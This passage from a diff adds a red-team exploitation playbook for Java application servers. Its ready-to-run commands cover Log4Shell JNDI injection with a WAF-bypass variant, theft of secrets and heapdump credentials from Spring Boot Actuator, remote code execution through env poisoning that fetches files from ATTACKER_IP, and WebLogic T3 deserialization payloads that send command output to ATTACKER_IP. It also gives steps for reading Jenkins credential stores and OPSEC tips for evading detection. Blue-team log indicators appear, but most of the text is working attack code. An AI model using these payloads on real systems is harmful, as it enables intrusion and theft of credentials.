700
|
+
# Step 4: Inject via X-Forwarded-For on the login endpoint (Jenkins logs this)
|
|
701
|
+
curl -sk -X POST "http://ci.target.com:8080/securityRealm/commenceLogin" \
|
|
702
|
+
-H "X-Forwarded-For: \${jndi:ldap://${ATTACKER_IP}:1389/exploit}" \
|
|
703
|
+
-d 'j_username=admin&j_password=test'
|
|
704
|
+
|
|
705
|
+
# Step 5 (if WAF blocks): Apply nested lookup bypass
|
|
706
|
+
curl -sk -X POST "http://ci.target.com:8080/securityRealm/commenceLogin" \
|
|
707
|
+
-H "X-Forwarded-For: \${${lower:j}ndi:\${lower:l}dap://${ATTACKER_IP}:1389/exploit}" \
|
|
708
|
+
-d 'j_username=admin&j_password=test'
|
|
709
|
+
|
|
710
|
+
# Step 6: Post-exploitation — extract Jenkins credentials store
|
|
711
|
+
cat /var/jenkins_home/credentials.xml
|
|
712
|
+
# Pivot to internal build infrastructure, inject malicious build steps
|
|
713
|
+
```
|
|
714
|
+
|
|
715
|
+
**Expected outcome:** Shell as `jenkins` service account on Jenkins host. Access to all pipeline secrets, build artifacts, SCM credentials, deployment keys.
|
|
716
|
+
|
|
717
|
+
---
|
|
718
|
+
|
|
719
|
+
### Scenario 2: Spring Boot API — Actuator Credential Extraction + RCE
|
|
720
|
+
|
|
721
|
+
**Context:** Internal engagement. Spring Boot microservice at `api.internal.corp:8080`. Actuator is exposed without authentication (common in dev/staging environments promoted to prod).
|
|
722
|
+
|
|
723
|
+
**Attack path:**
|
|
724
|
+
|
|
725
|
+
```bash
|
|
726
|
+
# Step 1: Discover Actuator (nuclei or manual)
|
|
727
|
+
curl -sk http://api.internal.corp:8080/actuator | python3 -m json.tool
|
|
728
|
+
|
|
729
|
+
# Step 2: Dump environment — extract DB credentials, API keys, secrets
|
|
730
|
+
curl -sk http://api.internal.corp:8080/actuator/env \
|
|
731
|
+
| python3 -c "
|
|
732
|
+
import json,sys
|
|
733
|
+
d=json.load(sys.stdin)
|
|
734
|
+
for ps in d.get('propertySources',[]):
|
|
735
|
+
for k,v in ps.get('properties',{}).items():
|
|
736
|
+
val=v.get('value','')
|
|
737
|
+
if any(x in k.lower() for x in ['pass','secret','key','token','url','jdbc']):
|
|
738
|
+
print(f'{k}: {val}')
|
|
739
|
+
" | tee _rtexit-output/exploit/java/actuator/extracted-secrets.txt
|
|
740
|
+
|
|
741
|
+
# Step 3: Download heapdump for credential mining
|
|
742
|
+
curl -sk http://api.internal.corp:8080/actuator/heapdump \
|
|
743
|
+
-o _rtexit-output/exploit/java/actuator/app-heapdump.hprof
|
|
744
|
+
strings _rtexit-output/exploit/java/actuator/app-heapdump.hprof \
|
|
745
|
+
| grep -iE "(password|secret|token|Authorization|Bearer|apikey)\s*[=:]\s*\S+" \
|
|
746
|
+
| sort -u | tee _rtexit-output/exploit/java/actuator/heapdump-creds.txt
|
|
747
|
+
|
|
748
|
+
# Step 4: httptrace — capture recent HTTP request headers (may contain auth tokens)
|
|
749
|
+
curl -sk http://api.internal.corp:8080/actuator/httptrace \
|
|
750
|
+
| python3 -m json.tool | grep -A3 "Authorization\|Cookie" \
|
|
751
|
+
| tee _rtexit-output/exploit/java/actuator/httptrace-tokens.txt
|
|
752
|
+
|
|
753
|
+
# Step 5: Attempt RCE via spring.cloud env poisoning (if spring-cloud on classpath)
|
|
754
|
+
# Serve a malicious remote config file
|
|
755
|
+
cat > /tmp/malicious.yml << EOF
|
|
756
|
+
spring:
|
|
757
|
+
datasource:
|
|
758
|
+
url: "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://${ATTACKER_IP}:8888/exploit.sql'"
|
|
759
|
+
EOF
|
|
760
|
+
python3 -m http.server 8888 --directory /tmp &
|
|
761
|
+
|
|
762
|
+
# Poison the bootstrap config location
|
|
763
|
+
curl -sk -X POST http://api.internal.corp:8080/actuator/env \
|
|
764
|
+
-H "Content-Type: application/json" \
|
|
765
|
+
-d "{\"name\":\"spring.cloud.bootstrap.location\",\"value\":\"http://${ATTACKER_IP}:8888/malicious.yml\"}"
|
|
766
|
+
|
|
767
|
+
# Trigger refresh / restart
|
|
768
|
+
curl -sk -X POST http://api.internal.corp:8080/actuator/refresh
|
|
769
|
+
# OR
|
|
770
|
+
curl -sk -X POST http://api.internal.corp:8080/actuator/restart
|
|
771
|
+
```
|
|
772
|
+
|
|
773
|
+
**Expected outcome:** DB credentials for production database, internal API keys, Bearer tokens for downstream services. Potential RCE via H2 INIT script injection if H2 in-memory DB is on classpath.
|
|
774
|
+
|
|
775
|
+
---
|
|
776
|
+
|
|
777
|
+
### Scenario 3: WebLogic Deserialization via T3 Protocol
|
|
778
|
+
|
|
779
|
+
**Context:** External engagement. Oracle WebLogic Server 12.2.1.4 on `weblogic.target.com:7001`. T3 protocol port accessible from internet. Known to be vulnerable to `CVE-2020-14882` and classic deserialization via T3.
|
|
780
|
+
|
|
781
|
+
**Attack path:**
|
|
782
|
+
|
|
783
|
+
```bash
|
|
784
|
+
# Step 1: Confirm T3 protocol accessible
|
|
785
|
+
nmap -p 7001 -sV --script=weblogic-t3-info weblogic.target.com
|
|
786
|
+
|
|
787
|
+
# Step 2: Test URLDNS gadget chain via T3 (safe detection)
|
|
788
|
+
java -jar /opt/tools/ysoserial-all.jar URLDNS \
|
|
789
|
+
"http://${CALLBACK_DOMAIN}/weblogic-t3-detect" \
|
|
790
|
+
> /tmp/urldns-payload.bin
|
|
791
|
+
|
|
792
|
+
# Send via T3 protocol using custom Python script
|
|
793
|
+
python3 << 'PYEOF'
|
|
794
|
+
import socket, struct, sys
|
|
795
|
+
|
|
796
|
+
TARGET = "weblogic.target.com"
|
|
797
|
+
PORT = 7001
|
|
798
|
+
|
|
799
|
+
with open("/tmp/urldns-payload.bin", "rb") as f:
|
|
800
|
+
payload = f.read()
|
|
801
|
+
|
|
802
|
+
# T3 handshake + serialize payload delivery
|
|
803
|
+
t3_header = b"t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
|
|
804
|
+
|
|
805
|
+
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
806
|
+
sock.settimeout(10)
|
|
807
|
+
sock.connect((TARGET, PORT))
|
|
808
|
+
sock.send(t3_header)
|
|
809
|
+
resp = sock.recv(1024)
|
|
810
|
+
print(f"[+] T3 Handshake: {resp[:50]}")
|
|
811
|
+
|
|
812
|
+
# Send deserialization payload
|
|
813
|
+
t3_payload = struct.pack(">I", len(payload) + 4) + b"\x00\x00\x00\x00" + payload
|
|
814
|
+
sock.send(t3_payload)
|
|
815
|
+
resp = sock.recv(4096)
|
|
816
|
+
print(f"[+] Response: {resp[:100]}")
|
|
817
|
+
sock.close()
|
|
818
|
+
PYEOF
|
|
819
|
+
|
|
820
|
+
# Step 3: If DNS callback received, escalate to RCE
|
|
821
|
+
java -jar /opt/tools/ysoserial-all.jar CommonsCollections6 \
|
|
822
|
+
"curl http://${ATTACKER_IP}:8888/weblogic-rce-confirm -d \$(id)" \
|
|
823
|
+
> /tmp/cc6-weblogic.bin
|
|
824
|
+
|
|
825
|
+
# Send RCE payload via T3 (replace URLDNS payload in script above with cc6-weblogic.bin)
|
|
826
|
+
|
|
827
|
+
# Step 4: CVE-2020-14882 — WebLogic Console HTTP Authentication Bypass + RCE
|
|
828
|
+
# Bypass authentication via path traversal
|
|
829
|
+
curl -sk "http://weblogic.target.com:7001/console/css/%252e%252e%252fconsole.portal" \
|
|
830
|
+
| grep -i "weblogic"
|
|
831
|
+
|
|
832
|
+
# Execute arbitrary commands via DeployerCommand (CVE-2020-14882 + 14883 chain)
|
|
833
|
+
curl -sk -X POST "http://weblogic.target.com:7001/console/css/%252e%252e%252fconsole.portal" \
|
|
834
|
+
-d "_nfpb=true&_pageLabel=&handle=com.bea.faces.renderkit.html.TabRenderer&pageCompositionContext=com.bea.wcp.portlet.jsf.view.portal.PortalDesignerViewBean.portalView&portalId=1&desktopLabel=DefaultDesktop&action=&tabs-all-tab1=DefaultDesktop+tab1&tabs-all-tab1=+&tabs-all-tab2=DefaultDesktop+tab2&tabs-all-tab2=+&pageCompositionNavigatorTable1=&pageCompositionNavigatorTable2=" \
|
|
835
|
+
| tee _rtexit-output/exploit/java/deserialization/weblogic-bypass.txt
|
|
836
|
+
|
|
837
|
+
# Step 5: Document T3 endpoint findings, gadget chain used, callback proofs
|
|
838
|
+
cp /tmp/cc6-weblogic.bin _rtexit-output/exploit/java/deserialization/
|
|
839
|
+
```
|
|
840
|
+
|
|
841
|
+
**Expected outcome:** RCE as WebLogic service account (often running as `oracle` or `root`). Access to deployed applications, data sources, keystore credentials.
|
|
842
|
+
|
|
843
|
+
---
|
|
844
|
+
|
|
845
|
+
## Detection and OPSEC Considerations
|
|
846
|
+
|
|
847
|
+
### OPSEC Risks (What Blue Team Sees)
|
|
848
|
+
|
|
849
|
+
| Technique | Detection Signal | Noise Level |
|
|
850
|
+
|-----------|-----------------|-------------|
|
|
851
|
+
| Log4Shell DNS probe | DNS query from target to external domain | Medium |
|
|
852
|
+
| Log4Shell LDAP exploitation | Outbound LDAP connection from app server | High |
|
|
853
|
+
| ysoserial payload delivery | Malformed HTTP request body, Java exception in logs | Medium |
|
|
854
|
+
| Actuator enumeration | Multiple `/actuator/*` 200 responses in access log | Low-Medium |
|
|
855
|
+
| Heapdump download | Large (~200MB) file download from `/actuator/heapdump` | High |
|
|
856
|
+
| Spring4Shell JSP write | New `.jsp` file created in Tomcat webroot | High |
|
|
857
|
+
| XXE with OOB | DNS/HTTP request from app server to external host | Medium |
|
|
858
|
+
| T3 deserialization | Malformed T3 packet, `ClassNotFoundException` in WebLogic log | Medium |
|
|
859
|
+
|
|
860
|
+
### OPSEC Mitigations
|
|
861
|
+
|
|
862
|
+
```bash
|
|
863
|
+
# Use DNS-only for initial detection (no exploit classes, no LDAP connections)
|
|
864
|
+
# Only upgrade to full exploitation after DNS callback confirmed and ROE allows
|
|
865
|
+
|
|
866
|
+
# Route JNDI server through redirector/proxy
|
|
867
|
+
# Attacker IP should be a disposable cloud instance, not C2 infrastructure
|
|
868
|
+
|
|
869
|
+
# Use HTTPS for exploit class delivery (encrypt class files in transit)
|
|
870
|
+
# Reduces network-level detection of exploit class downloads
|
|
871
|
+
|
|
872
|
+
# Limit Actuator enumeration — request only specific endpoints, not all at once
|
|
873
|
+
# Add delays between requests to blend with normal traffic patterns
|
|
874
|
+
# Use client certificate auth bypass paths if available
|
|
875
|
+
|
|
876
|
+
# For heapdump download: confirm ROE allows large data exfil before attempting
|
|
877
|
+
# Heapdump generates a 200-400MB download — very visible in network logs
|
|
878
|
+
|
|
879
|
+
# Clean up Spring4Shell webshell immediately after use
|
|
880
|
+
curl -sk "http://<TARGET>/shell.jsp?pwd=j&cmd=rm+/opt/tomcat/webapps/ROOT/shell.jsp"
|
|
881
|
+
|
|
882
|
+
# For deserialization: use URLDNS first (no command execution, just DNS)
|
|
883
|
+
# Confirm callback before running any RCE gadget chain
|
|
884
|
+
|
|
885
|
+
# Time exploitation during business hours (blends with legitimate traffic)
|
|
886
|
+
# Or during agreed maintenance windows per ROE
|
|
887
|
+
```
|
|
888
|
+
|
|
889
|
+
### Blue Team Indicators (What to Expect in Logs)
|
|
890
|
+
|
|
891
|
+
```
|
|
892
|
+
# Log4j exploit attempt in application log:
|
|
893
|
+
ERROR Logging lookup for '${jndi:ldap://...}' failed
|
|
894
|
+
|
|
895
|
+
# LDAP connection in network logs:
|
|
896
|
+
LDAP connection to external IP on port 1389
|
|
897
|
+
|
|
898
|
+
# Spring4Shell in Tomcat access log:
|
|
899
|
+
POST /endpoint HTTP/1.1 - class.module.classLoader.resources...
|
|
900
|
+
|
|
901
|
+
# Actuator heapdump in access log:
|
|
902
|
+
GET /actuator/heapdump HTTP/1.1 200 - 204857344
|
|
903
|
+
|
|
904
|
+
# Java ClassNotFoundException in WebLogic log after T3 payload:
|
|
905
|
+
java.lang.ClassNotFoundException: org.apache.commons.collections.Transformer
|
|
906
|
+
```
|
|
907
|
+
|
|
908
|
+
---
|
|
909
|
+
|
|
910
|
+
## Output and Documentation
|
|
911
|
+
|
|
912
|
+
All exploitation artifacts must be saved and documented. Use the following structure:
|
|
913
|
+
|
|
914
|
+
```
|
|
915
|
+
_rtexit-output/exploit/java/
|
|
916
|
+
├── deserialization/
|
|
917
|
+
│ ├── urldns-payload.bin # Detection-only URLDNS gadget
|
|
918
|
+
│ ├── cc6-payload.bin # CommonsCollections6 payload used
|
|
919
|
+
│ ├── cc6-revshell.bin # CC6 reverse shell payload
|
|
920
|
+
│ ├── spring1-payload.bin # Spring1 payload
|
|
921
|
+
│ ├── delivery-response.txt # HTTP response from payload delivery
|
|
922
|
+
│ └── shell-session.txt # Captured reverse shell session
|
|
923
|
+
├── log4shell/
|
|
924
|
+
│ ├── scan-results.txt # log4j-scan output
|
|
925
|
+
│ ├── jndi-server.log # JNDI-Exploit-Kit server log
|
|
926
|
+
│ ├── shell-session.txt # Captured reverse shell
|
|
927
|
+
│ └── callback-proof.txt # DNS/HTTP callback confirmation
|
|
928
|
+
├── spring4shell/
|
|
929
|
+
│ ├── exploit-log.txt # Spring4Shell PoC output
|
|
930
|
+
│ ├── rce-output.txt # Command execution output
|
|
931
|
+
│ └── webshell-url.txt # URL of uploaded webshell
|
|
932
|
+
├── actuator/
|
|
933
|
+
│ ├── env-dump.txt # Full /actuator/env dump
|
|
934
|
+
│ ├── extracted-secrets.txt # Parsed credentials/keys
|
|
935
|
+
│ ├── heapdump-creds.txt # Strings from heapdump
|
|
936
|
+
│ ├── httptrace-tokens.txt # Authorization headers from httptrace
|
|
937
|
+
│ └── full-enum.txt # All endpoint responses
|
|
938
|
+
├── xxe/
|
|
939
|
+
│ ├── xxe-passwd.txt # /etc/passwd via XXE
|
|
940
|
+
│ └── oob-data.txt # OOB exfiltrated file content
|
|
941
|
+
├── jndi/
|
|
942
|
+
│ └── jndi-server.log # JNDI server activity log
|
|
943
|
+
├── payloads/
|
|
944
|
+
│ └── all generated payload files # Archived for reproducibility
|
|
945
|
+
└── oob-callbacks.txt # All OOB DNS/HTTP callbacks (interactsh)
|
|
946
|
+
```
|
|
947
|
+
|
|
948
|
+
**Documentation template for each successful exploit:**
|
|
949
|
+
|
|
950
|
+
```markdown
|
|
951
|
+
## Exploit: [Technique Name]
|
|
952
|
+
- **Target:** <IP/hostname:port>
|
|
953
|
+
- **CVE:** <CVE number if applicable>
|
|
954
|
+
- **Timestamp:** <date/time UTC>
|
|
955
|
+
- **Gadget Chain / Payload Type:** <e.g., CommonsCollections6>
|
|
956
|
+
- **Injection Point:** <header/parameter/endpoint>
|
|
957
|
+
- **Callback Confirmation:** <DNS/HTTP callback received at timestamp>
|
|
958
|
+
- **RCE Proof:** <output of id/whoami/hostname>
|
|
959
|
+
- **Files:** <paths to saved artifacts>
|
|
960
|
+
- **Impact:** <access level achieved, data exposed>
|
|
961
|
+
- **Remediation:** <patch version, config change required>
|
|
962
|
+
```
|
|
963
|
+
|
|
964
|
+
---
|
|
965
|
+
|
|
966
|
+
## Resources
|
|
967
|
+
|
|
968
|
+
### Official CVE References
|
|
969
|
+
|
|
970
|
+
- Log4Shell: https://nvd.nist.gov/vuln/detail/CVE-2021-44228
|
|
971
|
+
- Spring4Shell: https://nvd.nist.gov/vuln/detail/CVE-2022-22965
|
|
972
|
+
- Log4j 2.15.0 bypass (CVE-2021-45046): https://nvd.nist.gov/vuln/detail/CVE-2021-45046
|
|
973
|
+
|
|
974
|
+
### Tools
|
|
975
|
+
|
|
976
|
+
- **ysoserial:** https://github.com/frohoff/ysoserial
|
|
977
|
+
- **JNDI-Exploit-Kit:** https://github.com/pimps/JNDI-Exploit-Kit
|
|
978
|
+
- **marshalsec:** https://github.com/mbechler/marshalsec
|
|
979
|
+
- **log4j-scan:** https://github.com/fullhunt/log4j-scan
|
|
980
|
+
- **Spring4Shell-POC:** https://github.com/reznok/Spring4Shell-POC
|
|
981
|
+
- **interactsh:** https://github.com/projectdiscovery/interactsh
|
|
982
|
+
- **nuclei:** https://github.com/projectdiscovery/nuclei
|
|
983
|
+
- **ysoserial-modified (extended chains):** https://github.com/wh1t3p1g/ysoserial-modified
|
|
984
|
+
- **Java Deserialization Scanner (BurpSuite extension):** https://github.com/federicodotta/Java-Deserialization-Scanner
|
|
985
|
+
- **GadgetProbe (gadget chain detection):** https://github.com/BishopFox/GadgetProbe
|
|
986
|
+
|
|
987
|
+
### Research and Writeups
|
|
988
|
+
|
|
989
|
+
- **Log4Shell LunaSec Analysis:** https://www.lunasec.io/docs/blog/log4j-zero-day/
|
|
990
|
+
- **Log4Shell WAF Bypass Techniques:** https://github.com/Puliczek/CVE-2021-44228-PoC-log4j-bypass-words
|
|
991
|
+
- **Spring4Shell Analysis:** https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement
|
|
992
|
+
- **Java Deserialization Bible:** https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet
|
|
993
|
+
- **Marshalling Pickles (AppSec 2015):** https://frohoff.github.io/appseccali-marshalling-pickles/
|
|
994
|
+
- **Exploiting Spring Boot Actuators:** https://www.veracode.com/blog/research/exploiting-spring-boot-actuators
|
|
995
|
+
- **JNDI Injection Writeup:** https://paper.seebug.org/1091/
|
|
996
|
+
- **WebLogic T3 Deserialization:** https://github.com/zhzyker/CVE-2020-14882
|
|
997
|
+
- **Gadget Inspector (classpath analysis):** https://github.com/JackOfMostTrades/gadgetinspector
|
|
998
|
+
|
|
999
|
+
### Wordlists and Payloads
|
|
1000
|
+
|
|
1001
|
+
- **Log4j bypass wordlist:** https://github.com/Puliczek/CVE-2021-44228-PoC-log4j-bypass-words
|
|
1002
|
+
- **SecLists Java-related:** https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/Injection
|
|
1003
|
+
|
|
1004
|
+
### Cheat Sheets
|
|
1005
|
+
|
|
1006
|
+
- **PayloadsAllTheThings — Java Deserialization:** https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Insecure%20Deserialization/Java.md
|
|
1007
|
+
- **PayloadsAllTheThings — XXE:** https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection
|
|
1008
|
+
- **HackTricks — Log4Shell:** https://book.hacktricks.xyz/pentesting-web/log4shell
|
|
1009
|
+
- **HackTricks — Spring Actuator:** https://book.hacktricks.xyz/pentesting-web/spring-actuators
|